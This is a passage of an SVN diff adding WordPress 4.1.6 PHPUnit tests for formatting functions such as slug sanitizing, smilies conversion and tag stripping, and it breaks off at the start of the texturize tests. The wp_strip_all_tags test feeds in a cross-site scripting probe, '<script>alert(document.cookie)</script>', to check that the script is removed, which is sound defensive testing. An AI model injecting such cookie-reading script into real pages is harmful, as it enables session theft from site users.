+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("«Just a Slug»", '', 'save'));
+	}
+
+	function test_replaces_curly_quotes() {
+		$this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its “Curly Joe”", '', 'save'));
+		$this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its ‘Curly Joe’", '', 'save'));
+		$this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its „Curly Joe“", '', 'save'));
+		$this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its ‚Curly Joe‛", '', 'save'));
+		$this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its „Curly Joe‟", '', 'save'));
+	}
+
+	function test_replaces_copy_reg_deg_trade() {
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just © a Slug", '', 'save'));
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("® Just a Slug", '', 'save'));
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just a ° Slug", '', 'save'));
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just ™ a Slug", '', 'save'));
+	}
+
+	/**
+	 * @ticket 19820
+	 */
+	function test_replaces_multiply_sign() {
+		$this->assertEquals("6x7-is-42", sanitize_title_with_dashes("6×7 is 42", '', 'save'));
+	}
+
+	/**
+	 * @ticket 20772
+	 */
+	function test_replaces_standalone_diacritic() {
+		$this->assertEquals("aaaa", sanitize_title_with_dashes("āáǎà", '', 'save'));
+	}
+
+	/**
+	 * @ticket 22395
+	 */
+	function test_replaces_acute_accents() {
+		$this->assertEquals("aaaa", sanitize_title_with_dashes("ááa´aˊ", '', 'save'));
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTrackbackUrls.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTrackbackUrls.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTrackbackUrls.php	(revision 33402)
@@ -0,0 +1,27 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTrackbackUrls extends WP_UnitTestCase {
+	/**
+	 * @ticket 21624
+	 * @dataProvider breaks
+	 */
+	function test_sanitize_trackback_urls_with_multiple_urls( $break ) {
+		$this->assertEquals( "http://example.com\nhttp://example.org", sanitize_trackback_urls( "http://example.com{$break}http://example.org" ) );
+	}
+
+	function breaks() {
+		return array(
+			array( "\r\n\t " ),
+			array( "\r" ),
+			array( "\n" ),
+			array( "\t" ),
+			array( ' ' ),
+			array( '  ' ),
+			array( "\n  " ),
+			array( "\r\n" ),
+		);
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeUser.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeUser.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeUser.php	(revision 33402)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeUser extends WP_UnitTestCase {
+	function test_strips_html() {
+		$input = "Captain <strong>Awesome</strong>";
+		$expected = is_multisite() ? 'captain awesome' : 'Captain Awesome';
+		$this->assertEquals($expected, sanitize_user($input));
+	}
+
+	public function test_strips_encoded_ampersand() {
+		$expected = 'ATT';
+
+		// Multisite forces user logins to lowercase.
+		if ( is_multisite() ) {
+			$expected = strtolower( $expected );
+		}
+
+		$this->assertEquals( $expected, sanitize_user( "AT&amp;T" ) );
+	}
+
+	public function test_strips_encoded_ampersand_when_followed_by_semicolon() {
+		$expected = 'ATT Test;';
+
+		// Multisite forces user logins to lowercase.
+		if ( is_multisite() ) {
+			$expected = strtolower( $expected );
+		}
+
+		$this->assertEquals( $expected, sanitize_user( "AT&amp;T Test;" ) );
+	}
+
+	function test_strips_percent_encoded_octets() {
+		$expected = is_multisite() ? 'franois' : 'Franois';
+		$this->assertEquals( $expected, sanitize_user( "Fran%c3%a7ois" ) );
+	}
+	function test_optional_strict_mode_reduces_to_safe_ascii_subset() {
+		$this->assertEquals("abc", sanitize_user("()~ab~ˆcˆ!", true));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/SeemsUtf8.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/SeemsUtf8.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/SeemsUtf8.php	(revision 33402)
@@ -0,0 +1,44 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SeemsUtf8 extends WP_UnitTestCase {
+
+	/**
+	 * `seems_utf8` returns true for utf-8 strings, false otherwise.
+	 *
+	 * @dataProvider utf8_strings
+	 */
+	function test_returns_true_for_utf8_strings( $utf8_string ) {
+		// from http://www.i18nguy.com/unicode-example.html
+		$this->assertTrue( seems_utf8( $utf8_string ) );
+	}
+
+	function utf8_strings() {
+		$utf8_strings = file( DIR_TESTDATA . '/formatting/utf-8/utf-8.txt' );
+		foreach ( $utf8_strings as &$string ) {
+			$string = (array) trim( $string );
+		}
+		unset( $string );
+		return $utf8_strings;
+	}
+
+	/**
+	 * @dataProvider big5_strings
+	 */
+	function test_returns_false_for_non_utf8_strings( $big5_string ) {
+		$this->assertFalse( seems_utf8( $big5_string ) );
+	}
+
+	function big5_strings() {
+		// Get data from formatting/big5.txt
+		$big5_strings = file( DIR_TESTDATA . '/formatting/big5.txt' );
+		foreach ( $big5_strings as &$string ) {
+			$string = (array) trim( $string );
+		}
+		unset( $string );
+		return $big5_strings;
+	}
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/formatting/Slashit.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/Slashit.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/Slashit.php	(revision 33402)
@@ -0,0 +1,54 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Slashit extends WP_UnitTestCase {
+	function test_backslashes_middle_numbers() {
+		$this->assertEquals("\\a-!9\\a943\\b\\c", backslashit("a-!9a943bc"));
+	}
+
+	function test_backslashes_alphas() {
+		$this->assertEquals("\\a943\\b\\c", backslashit("a943bc"));
+	}
+
+	function test_double_backslashes_leading_numbers() {
+		$this->assertEquals("\\\\95", backslashit("95"));
+	}
+
+	function test_removes_trailing_slashes() {
+		$this->assertEquals("a", untrailingslashit("a/"));
+		$this->assertEquals("a", untrailingslashit("a////"));
+	}
+
+	/**
+	 * @ticket 22267
+	 */
+	function test_removes_trailing_backslashes() {
+		$this->assertEquals("a", untrailingslashit("a\\"));
+		$this->assertEquals("a", untrailingslashit("a\\\\\\\\"));
+	}
+
+	/**
+	 * @ticket 22267
+	 */
+	function test_removes_trailing_mixed_slashes() {
+		$this->assertEquals("a", untrailingslashit("a/\\"));
+		$this->assertEquals("a", untrailingslashit("a\\/\\///\\\\//"));
+	}
+
+	function test_adds_trailing_slash() {
+		$this->assertEquals("a/", trailingslashit("a"));
+	}
+
+	function test_does_not_add_trailing_slash_if_one_exists() {
+		$this->assertEquals("a/", trailingslashit("a/"));
+	}
+
+	/**
+	 * @ticket 22267
+	 */
+	function test_converts_trailing_backslash_to_slash_if_one_exists() {
+		$this->assertEquals("a/", trailingslashit("a\\"));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/Smilies.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/Smilies.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/Smilies.php	(revision 33402)
@@ -0,0 +1,325 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Smilies extends WP_UnitTestCase {
+
+	/**
+	 * Basic Test Content DataProvider
+	 *
+	 * array ( input_txt, converted_output_txt)
+	 */
+	public function get_smilies_input_output() {
+		$includes_path = includes_url("images/smilies/");
+
+		return array (
+			array (
+				'Lorem ipsum dolor sit amet mauris ;-) Praesent gravida sodales. :lol: Vivamus nec diam in faucibus eu, bibendum varius nec, imperdiet purus est, at augue at lacus malesuada elit dapibus a, :eek: mauris. Cras mauris viverra elit. Nam laoreet viverra. Pellentesque tortor. Nam libero ante, porta urna ut turpis. Nullam wisi magna, :mrgreen: tincidunt nec, sagittis non, fringilla enim. Nam consectetuer nec, ullamcorper pede eu dui odio consequat vel, vehicula tortor quis pede turpis cursus quis, egestas ipsum ultricies ut, eleifend velit. Mauris vestibulum iaculis. Sed in nunc. Vivamus elit porttitor egestas. Mauris purus :?:',
+				'Lorem ipsum dolor sit amet mauris <img src="' . $includes_path . 'icon_wink.gif" alt=";-)" class="wp-smiley" /> Praesent gravida sodales. <img src="' . $includes_path . 'icon_lol.gif" alt=":lol:" class="wp-smiley" /> Vivamus nec diam in faucibus eu, bibendum varius nec, imperdiet purus est, at augue at lacus malesuada elit dapibus a, <img src="' . $includes_path . 'icon_surprised.gif" alt=":eek:" class="wp-smiley" /> mauris. Cras mauris viverra elit. Nam laoreet viverra. Pellentesque tortor. Nam libero ante, porta urna ut turpis. Nullam wisi magna, <img src="' . $includes_path . 'icon_mrgreen.gif" alt=":mrgreen:" class="wp-smiley" /> tincidunt nec, sagittis non, fringilla enim. Nam consectetuer nec, ullamcorper pede eu dui odio consequat vel, vehicula tortor quis pede turpis cursus quis, egestas ipsum ultricies ut, eleifend velit. Mauris vestibulum iaculis. Sed in nunc. Vivamus elit porttitor egestas. Mauris purus <img src="' . $includes_path . 'icon_question.gif" alt=":?:" class="wp-smiley" />'
+			),
+			array (
+				'<strong>Welcome to the jungle!</strong> We got fun n games! :) We got everything you want 8-) <em>Honey we know the names :)</em>',
+				'<strong>Welcome to the jungle!</strong> We got fun n games! <img src="' . $includes_path . 'icon_smile.gif" alt=":)" class="wp-smiley" /> We got everything you want <img src="' . $includes_path . 'icon_cool.gif" alt="8-)" class="wp-smiley" /> <em>Honey we know the names <img src="' . $includes_path . 'icon_smile.gif" alt=":)" class="wp-smiley" /></em>'
+			),
+			array (
+				"<strong;)>a little bit of this\na little bit:other: of that :D\n:D a little bit of good\nyeah with a little bit of bad8O",
+				"<strong;)>a little bit of this\na little bit:other: of that <img src=\"{$includes_path}icon_biggrin.gif\" alt=\":D\" class=\"wp-smiley\" />\n<img src=\"{$includes_path}icon_biggrin.gif\" alt=\":D\" class=\"wp-smiley\" /> a little bit of good\nyeah with a little bit of bad8O"
+			),
+			array (
+				'<strong style="here comes the sun :-D">and I say it\'s allright:D:D',
+				'<strong style="here comes the sun :-D">and I say it\'s allright:D:D'
+			),
+			array (
+				'<!-- Woo-hoo, I\'m a comment, baby! :x > -->',
+				'<!-- Woo-hoo, I\'m a comment, baby! :x > -->'
+			),
+			array (
+				':?:P:?::-x:mrgreen:::',
+				':?:P:?::-x:mrgreen:::'
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider get_smilies_input_output
+	 *
+	 * Basic Validation Test to confirm that smilies are converted to image
+	 * when use_smilies = 1 and not when use_smilies = 0
+	 */
+	function test_convert_standard_smilies( $in_txt, $converted_txt ) {
+		// standard smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+
+		smilies_init();
+
+		$this->assertEquals( $converted_txt, convert_smilies($in_txt) );
+
+		// standard smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+
+		$this->assertEquals( $in_txt, convert_smilies($in_txt) );
+	}
+
+	/**
+	 * Custom Smilies Test Content DataProvider
+	 *
+	 * array ( input_txt, converted_output_txt)
+	 */
+	public function get_custom_smilies_input_output() {
+		$includes_path = includes_url("images/smilies/");
+
+		return array (
+			array (
+				'Peter Brian Gabriel (born 13 February 1950) is a British singer, musician, and songwriter who rose to fame as the lead vocalist and flautist of the progressive rock group Genesis. :monkey:',
+				'Peter Brian Gabriel (born 13 February 1950) is a British singer, musician, and songwriter who rose to fame as the lead vocalist and flautist of the progressive rock group Genesis. <img src="' . $includes_path . 'icon_shock_the_monkey.gif" alt=":monkey:" class="wp-smiley" />'
+			),
+			array (
+				'Star Wars Jedi Knight :arrow: Jedi Academy is a first and third-person shooter action game set in the Star Wars universe. It was developed by Raven Software and published, distributed and marketed by LucasArts in North America and by Activision in the rest of the world. :nervou:',
+				'Star Wars Jedi Knight <img src="' . $includes_path . 'icon_arrow.gif" alt=":arrow:" class="wp-smiley" /> Jedi Academy is a first and third-person shooter action game set in the Star Wars universe. It was developed by Raven Software and published, distributed and marketed by LucasArts in North America and by Activision in the rest of the world. <img src="' . $includes_path . 'icon_nervou.gif" alt=":nervou:" class="wp-smiley" />'
+			),
+			array (
+				':arrow: monkey: Lorem ipsum dolor sit amet enim. Etiam ullam :PP <br />corper. Suspendisse a pellentesque dui, non felis.<a> :arrow: :arrow</a>',
+				'<img src="' . $includes_path . 'icon_arrow.gif" alt=":arrow:" class="wp-smiley" /> monkey: Lorem ipsum dolor sit amet enim. Etiam ullam <img src="' . $includes_path . 'icon_tongue.gif" alt=":PP" class="wp-smiley" /> <br />corper. Suspendisse a pellentesque dui, non felis.<a> <img src="' . $includes_path . 'icon_arrow.gif" alt=":arrow:" class="wp-smiley" /> :arrow</a>'
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider get_custom_smilies_input_output
+	 *
+	 * Validate Custom Smilies are converted to images when use_smilies = 1
+	 */
+	function test_convert_custom_smilies ( $in_txt, $converted_txt ) {
+		global $wpsmiliestrans;
+
+		// custom smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+
+		if ( !isset( $wpsmiliestrans ) ) {
+			smilies_init();
+		}
+
+		$trans_orig = $wpsmiliestrans; // save original translations array
+
+		$wpsmiliestrans = array(
+		  ':PP' => 'icon_tongue.gif',
+		  ':arrow:' => 'icon_arrow.gif',
+		  ':monkey:' => 'icon_shock_the_monkey.gif',
+		  ':nervou:' => 'icon_nervou.gif'
+		);
+
+		smilies_init();
+
+		$this->assertEquals( $converted_txt, convert_smilies($in_txt) );
+
+		// standard smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+
+		$this->assertEquals( $in_txt, convert_smilies($in_txt) );
+
+		$wpsmiliestrans = $trans_orig; // reset original translations array
+	}
+
+
+	/**
+	 * DataProvider of HTML elements/tags that smilie matches should be ignored in
+	 *
+	 */
+	public function get_smilies_ignore_tags() {
+		return array (
+			array( 'pre' ),
+			array( 'code' ),
+			array( 'script' ),
+			array( 'style' ),
+			array( 'textarea'),
+		);
+	}
+
+	/**
+	 * Validate Conversion of Smilies is ignored in pre-determined tags
+	 * pre, code, script, style
+	 *
+	 * @ticket 16448
+	 * @dataProvider get_smilies_ignore_tags
+	 */
+	public function test_ignore_smilies_in_tags( $element ) {
+		$includes_path = includes_url("images/smilies/");
+
+		$in_str = 'Do we ingore smilies ;-) in ' . $element . ' tags <' . $element . '>My Content Here :?: </' . $element . '>';
+		$exp_str = 'Do we ingore smilies <img src="' . $includes_path . 'icon_wink.gif" alt=";-)" class="wp-smiley" /> in ' . $element . ' tags <' . $element . '>My Content Here :?: </' . $element . '>';
+
+		// standard smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+		smilies_init();
+
+		$this->assertEquals( $exp_str, convert_smilies($in_str) );
+
+		// standard smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+	}
+
+	/**
+	 * DataProvider of Smilie Combinations
+	 *
+	 */
+	public function get_smilies_combinations() {
+		$includes_path = includes_url("images/smilies/");
+
+		return array (
+			array (
+				'8-O :-(',
+				'<img src="' . $includes_path . 'icon_eek.gif" alt="8-O" class="wp-smiley" /> <img src="' . $includes_path . 'icon_sad.gif" alt=":-(" class="wp-smiley" />'
+			),
+			array (
+				'8-) 8-O',
+				'<img src="' . $includes_path . 'icon_cool.gif" alt="8-)" class="wp-smiley" /> <img src="' . $includes_path . 'icon_eek.gif" alt="8-O" class="wp-smiley" />'
+			),
+			array (
+				'8-) 8O',
+				'<img src="' . $includes_path . 'icon_cool.gif" alt="8-)" class="wp-smiley" /> <img src="' . $includes_path . 'icon_eek.gif" alt="8O" class="wp-smiley" />'
+			),
+			array (
+				'8-) :-(',
+				'<img src="' . $includes_path . 'icon_cool.gif" alt="8-)" class="wp-smiley" /> <img src="' . $includes_path . 'icon_sad.gif" alt=":-(" class="wp-smiley" />'
+			),
+			array (
+				'8-) :twisted:',
+				'<img src="' . $includes_path . 'icon_cool.gif" alt="8-)" class="wp-smiley" /> <img src="' . $includes_path . 'icon_twisted.gif" alt=":twisted:" class="wp-smiley" />'
+			),
+			array (
+				'8O :twisted: :( :? :(',
+				'<img src="' . $includes_path . 'icon_eek.gif" alt="8O" class="wp-smiley" /> <img src="' . $includes_path . 'icon_twisted.gif" alt=":twisted:" class="wp-smiley" /> <img src="' . $includes_path . 'icon_sad.gif" alt=":(" class="wp-smiley" /> <img src="' . $includes_path . 'icon_confused.gif" alt=":?" class="wp-smiley" /> <img src="' . $includes_path . 'icon_sad.gif" alt=":(" class="wp-smiley" />'
+			),
+		);
+	}
+
+	/**
+	 * Validate Combinations of Smilies separated by single space
+	 * are converted correctly
+	 *
+	 * @ticket 20124
+	 * @dataProvider get_smilies_combinations
+	 */
+	public function test_smilies_combinations( $in_txt, $converted_txt ) {
+		// custom smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+		smilies_init();
+
+		$this->assertEquals( $converted_txt, convert_smilies($in_txt) );
+
+		// custom smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+
+		$this->assertEquals( $in_txt, convert_smilies($in_txt) );
+	}
+
+	/**
+	 * DataProvider of Single Smilies input and converted output
+	 *
+	 */
+	public function get_single_smilies_input_output() {
+		$includes_path = includes_url("images/smilies/");
+
+		return array (
+			array (
+				'8-O :-(',
+				'8-O :-('
+			),
+			array (
+				'8O :) additional text here :)',
+				'8O <img src="' . $includes_path . 'icon_smile.gif" alt=":)" class="wp-smiley" /> additional text here <img src="' . $includes_path . 'icon_smile.gif" alt=":)" class="wp-smiley" />'
+			),
+			array (
+				':) :) :) :)',
+				'<img src="' . $includes_path . 'icon_smile.gif" alt=":)" class="wp-smiley" /> <img src="' . $includes_path . 'icon_smile.gif" alt=":)" class="wp-smiley" /> <img src="' . $includes_path . 'icon_smile.gif" alt=":)" class="wp-smiley" /> <img src="' . $includes_path . 'icon_smile.gif" alt=":)" class="wp-smiley" />'
+			),
+		);
+	}
+
+	/**
+	 * Validate Smilies are converted for single smilie in
+	 * the $wpsmiliestrans global array
+	 *
+	 * @ticket 25303
+	 * @dataProvider get_single_smilies_input_output
+	 */
+	public function test_single_smilies_in_wpsmiliestrans( $in_txt, $converted_txt ) {
+		global $wpsmiliestrans;
+
+		// standard smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+
+		if ( !isset( $wpsmiliestrans ) ) {
+			smilies_init();
+		}
+
+		$orig_trans = $wpsmiliestrans; // save original tranlations array
+
+		$wpsmiliestrans = array (
+		  ':)' => 'icon_smile.gif'
+		);
+
+		smilies_init();
+
+		$this->assertEquals( $converted_txt, convert_smilies($in_txt) );
+
+		// standard smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+
+		$this->assertEquals( $in_txt, convert_smilies($in_txt) );
+
+		$wpsmiliestrans = $orig_trans; // reset original translations array
+	}
+
+	/**
+	 * Check that $wp_smiliessearch pattern will match smilies
+	 * between spaces, but never capture those spaces.
+	 *
+	 * Further check that spaces aren't randomly deleted
+	 * or added when replacing the text with an image.
+	 *
+	 * @ticket 22692
+	 */
+	function test_spaces_around_smilies() {
+		$nbsp = "\xC2\xA0";
+
+		// standard smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+		smilies_init();
+
+		$input  = array();
+		$output = array();
+
+		$input[]  = 'My test :) smile';
+		$output[] = array('test <img ', 'alt=":)"', ' /> smile');
+
+		$input[]  = 'My test ;) smile';
+		$output[] = array('test <img ', 'alt=";)"', ' /> smile');
+
+		$input[]  = 'My test &nbsp;:)&nbsp;smile';
+		$output[] = array('test &nbsp;<img ', 'alt=":)"', ' />&nbsp;smile');
+
+		$input[]  = 'My test &nbsp;;)&nbsp;smile';
+		$output[] = array('test &nbsp;<img ', 'alt=";)"', ' />&nbsp;smile');
+
+		$input[]  = "My test {$nbsp}:){$nbsp}smile";
+		$output[] = array("test {$nbsp}<img ", 'alt=":)"', " />{$nbsp}smile");
+
+		$input[]  = "My test {$nbsp};){$nbsp}smile";
+		$output[] = array("test {$nbsp}<img ", 'alt=";)"', " />{$nbsp}smile");
+
+		foreach($input as $key => $in) {
+			$result = convert_smilies( $in );
+			foreach($output[$key] as $out) {
+
+				// Each output element must appear in the results.
+				$this->assertContains( $out, $result );
+
+			}
+		}
+
+		// standard smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/StripSlashesDeep.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/StripSlashesDeep.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/StripSlashesDeep.php	(revision 33402)
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_StripSlashesDeep extends WP_UnitTestCase {
+	/**
+	 * @ticket 18026
+	 */
+	function test_preserves_original_datatype() {
+
+		$this->assertEquals( true, stripslashes_deep( true ) );
+		$this->assertEquals( false, stripslashes_deep( false ) );
+		$this->assertEquals( 4, stripslashes_deep( 4 ) );
+		$this->assertEquals( 'foo', stripslashes_deep( 'foo' ) );
+		$arr = array( 'a' => true, 'b' => false, 'c' => 4, 'd' => 'foo' );
+		$arr['e'] = $arr; // Add a sub-array
+		$this->assertEquals( $arr, stripslashes_deep( $arr ) ); // Keyed array
+		$this->assertEquals( array_values( $arr ), stripslashes_deep( array_values( $arr ) ) ); // Non-keyed
+
+		$obj = new stdClass;
+		foreach ( $arr as $k => $v )
+			$obj->$k = $v;
+		$this->assertEquals( $obj, stripslashes_deep( $obj ) );
+	}
+
+	function test_strips_slashes() {
+		$old = "I can\'t see, isn\'t that it?";
+		$new = "I can't see, isn't that it?";
+		$this->assertEquals( $new, stripslashes_deep( $old ) );
+		$this->assertEquals( $new, stripslashes_deep( "I can\\'t see, isn\\'t that it?" ) );
+		$this->assertEquals( array( 'a' => $new ), stripslashes_deep( array( 'a' => $old ) ) ); // Keyed array
+		$this->assertEquals( array( $new ), stripslashes_deep( array( $old ) ) ); // Non-keyed
+
+		$obj_old = new stdClass;
+		$obj_old->a = $old;
+		$obj_new = new stdClass;
+		$obj_new->a = $new;
+		$this->assertEquals( $obj_new, stripslashes_deep( $obj_old ) );
+	}
+
+	function test_permits_escaped_slash() {
+		$txt = "I can't see, isn\'t that it?";
+		$this->assertEquals( $txt, stripslashes_deep( "I can\'t see, isn\\\'t that it?" ) );
+		$this->assertEquals( $txt, stripslashes_deep( "I can\'t see, isn\\\\\'t that it?" ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/UrlEncodedToEntities.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/UrlEncodedToEntities.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/UrlEncodedToEntities.php	(revision 33402)
@@ -0,0 +1,24 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_UrlEncodedToEntities extends WP_UnitTestCase {
+	/**
+	 * @dataProvider data
+	 */
+	function test_convert_urlencoded_to_entities( $u_urlencoded, $entity ) {
+		$this->assertEquals( $entity, preg_replace_callback('/\%u([0-9A-F]{4})/', '_convert_urlencoded_to_entities', $u_urlencoded ), $entity );
+	}
+
+	function data() {
+		$input  = file( DIR_TESTDATA . '/formatting/utf-8/u-urlencoded.txt' );
+		$output = file( DIR_TESTDATA . '/formatting/utf-8/entitized.txt' );
+		$data_provided = array();
+		foreach ( $input as $key => $value ) {
+			$data_provided[] = array( trim( $value ), trim( $output[ $key ] ) );
+		}
+		return $data_provided;
+	}
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/formatting/Utf8UriEncode.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/Utf8UriEncode.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/Utf8UriEncode.php	(revision 33402)
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Utf8UriEncode extends WP_UnitTestCase {
+
+	/**
+	 * Non-ASCII UTF-8 characters should be percent encoded. Spaces etc.
+	 * are dealt with elsewhere.
+	 *
+	 * @dataProvider data
+	 */
+	function test_percent_encodes_non_reserved_characters( $utf8, $urlencoded ) {
+		$this->assertEquals($urlencoded, utf8_uri_encode( $utf8 ) );
+	}
+
+	/**
+	 * @dataProvider data
+	 */
+	function test_output_is_not_longer_than_optional_length_argument( $utf8, $unused_for_this_test ) {
+		$max_length = 30;
+		$this->assertTrue( strlen( utf8_uri_encode( $utf8, $max_length ) ) <= $max_length );
+	}
+
+	function data() {
+		$utf8_urls  = file( DIR_TESTDATA . '/formatting/utf-8/utf-8.txt' );
+		$urlencoded = file( DIR_TESTDATA . '/formatting/utf-8/urlencoded.txt' );
+        $data_provided = array();
+		foreach ( $utf8_urls as $key => $value ) {
+			$data_provided[] = array( trim( $value ), trim( $urlencoded[ $key ] ) );
+		}
+		return $data_provided;
+	}
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/formatting/WPSpecialchars.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/WPSpecialchars.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/WPSpecialchars.php	(revision 33402)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WPSpecialchars extends WP_UnitTestCase {
+	function test_wp_specialchars_basics() {
+		$html =  "&amp;&lt;hello world&gt;";
+		$this->assertEquals( $html, _wp_specialchars( $html ) );
+
+		$double = "&amp;amp;&amp;lt;hello world&amp;gt;";
+		$this->assertEquals( $double, _wp_specialchars( $html, ENT_NOQUOTES, false, true ) );
+	}
+
+	function test_allowed_entity_names() {
+		global $allowedentitynames;
+
+		// Allowed entities should be unchanged
+		foreach ( $allowedentitynames as $ent ) {
+			$ent = '&' . $ent . ';';
+			$this->assertEquals( $ent, _wp_specialchars( $ent ) );
+		}
+	}
+
+	function test_not_allowed_entity_names() {
+		$ents = array( 'iacut', 'aposs', 'pos', 'apo', 'apo?', 'apo.*', '.*apo.*', 'apos ', ' apos', ' apos ' );
+
+		foreach ( $ents as $ent ) {
+			$escaped = '&amp;' . $ent . ';';
+			$ent = '&' . $ent . ';';
+			$this->assertEquals( $escaped, _wp_specialchars( $ent ) );
+		}
+	}
+
+	function test_optionally_escapes_quotes() {
+		$source = "\"'hello!'\"";
+		$this->assertEquals( '"&#039;hello!&#039;"', _wp_specialchars($source, 'single') );
+		$this->assertEquals( "&quot;'hello!'&quot;", _wp_specialchars($source, 'double') );
+		$this->assertEquals( '&quot;&#039;hello!&#039;&quot;', _wp_specialchars($source, true) );
+		$this->assertEquals( $source, _wp_specialchars($source) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/WPStripAllTags.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/WPStripAllTags.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/WPStripAllTags.php	(revision 33402)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Test wp_strip_all_tags()
+ *
+ * @group formatting
+ */
+class Tests_Formatting_WPStripAllTags extends WP_UnitTestCase {
+
+	function test_wp_strip_all_tags() {
+
+		$text = 'lorem<br />ipsum';
+		$this->assertEquals( 'loremipsum', wp_strip_all_tags( $text ) );
+
+		$text = "lorem<br />\nipsum";
+		$this->assertEquals( "lorem\nipsum", wp_strip_all_tags( $text ) );
+
+		// test removing breaks is working
+		$text = "lorem<br />ipsum";
+		$this->assertEquals( "loremipsum", wp_strip_all_tags( $text, true ) );
+
+		// test script / style tag's contents is removed
+		$text = "lorem<script>alert(document.cookie)</script>ipsum";
+		$this->assertEquals( "loremipsum", wp_strip_all_tags( $text ) );
+
+		$text = "lorem<style>* { display: 'none' }</style>ipsum";
+		$this->assertEquals( "loremipsum", wp_strip_all_tags( $text ) );
+
+		// test "marlformed" markup of contents
+		$text = "lorem<style>* { display: 'none' }<script>alert( document.cookie )</script></style>ipsum";
+		$this->assertEquals( "loremipsum", wp_strip_all_tags( $text ) );
+	}
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/formatting/WPTexturize.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/WPTexturize.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/WPTexturize.php	(revision 33402)
@@ -0,0 +1,1827 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WPTexturize extends WP_UnitTestCase {
+	function test_dashes() {
+		$this->assertEquals('Hey &#8212; boo?', wptexturize('Hey -- boo?'));
+		$this->assertEquals('<a href="http://xx--xx">Hey &#8212; boo?</a>', wptexturize('<a href="http://xx--xx">Hey -- boo?</a>'));
+	}
+
+	function test_disable() {
+		$this->assertEquals('<pre>---</pre>', wptexturize('<pre>---</pre>'));
+		$this->assertEquals('<pre><code></code>--</pre>', wptexturize('<pre><code></code>--</pre>'));
+
+		$this->assertEquals( '<code>---</code>',     wptexturize( '<code>---</code>'     ) );
+		$this->assertEquals( '<kbd>---</kbd>',       wptexturize( '<kbd>---</kbd>'       ) );
+		$this->assertEquals( '<style>---</style>',   wptexturize( '<style>---</style>'   ) );
+		$this->assertEquals( '<script>---</script>', wptexturize( '<script>---</script>' ) );
+		$this->assertEquals( '<tt>---</tt>',         wptexturize( '<tt>---</tt>'         ) );
+
